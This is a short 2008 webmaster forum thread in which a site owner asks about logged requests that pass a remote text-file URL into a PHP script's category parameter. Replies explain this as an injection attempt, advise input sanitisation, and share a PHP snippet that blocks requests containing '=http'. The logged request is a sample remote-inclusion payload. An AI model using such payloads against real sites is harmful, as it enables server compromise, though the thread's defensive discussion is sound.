Forum Moderators: coopster

Message Too Old, No Replies

security issue

security issue with php script

         

lokeshv

12:55 pm on Feb 6, 2008 (gmt 0)

10+ Year Member



Hi

just checked this in my incoming traffic...can somebody what someone is trying to do..and how i can prevent it?

http://*****.com/catalog.php?category=http://sub.example.ru/images/image.txt

lot of such kind of requests.

Thanks,

[edited by: jatar_k at 2:01 pm (utc) on Feb. 6, 2008]
[edit reason] no urls thanks [/edit]

joelgreen

2:49 pm on Feb 6, 2008 (gmt 0)

10+ Year Member



Trying to hack your site/script using different types of injections. I think they sometimes rely on incorrect server setup. Some servers would treat image.txt as php or perl file, and "execute" its contents.

eelixduppy

7:31 pm on Feb 6, 2008 (gmt 0)



>> nd how i can prevent it?

You have to make sure that you clean all user input, so in this case, it would be your category GET variable. Make sure that it can only contain what it should contain, and make sure that someone who, after some experimentation, cannot transverse your file system or include outside material that would be harmful.

londrum

8:57 pm on Feb 6, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



i use this little php script to cut out any requests for pages which include =http


if(stristr($_SERVER['REQUEST_URI'],'=http')){
header('HTTP/1.1 503 Service Unavailable');
print("<html><head>\n");
print("<title>Error</title>\n");
print("</head><body>\n");
print("<p>This page has been left intentionally blank.</p>\n");
print("</body></html>\n");
exit;}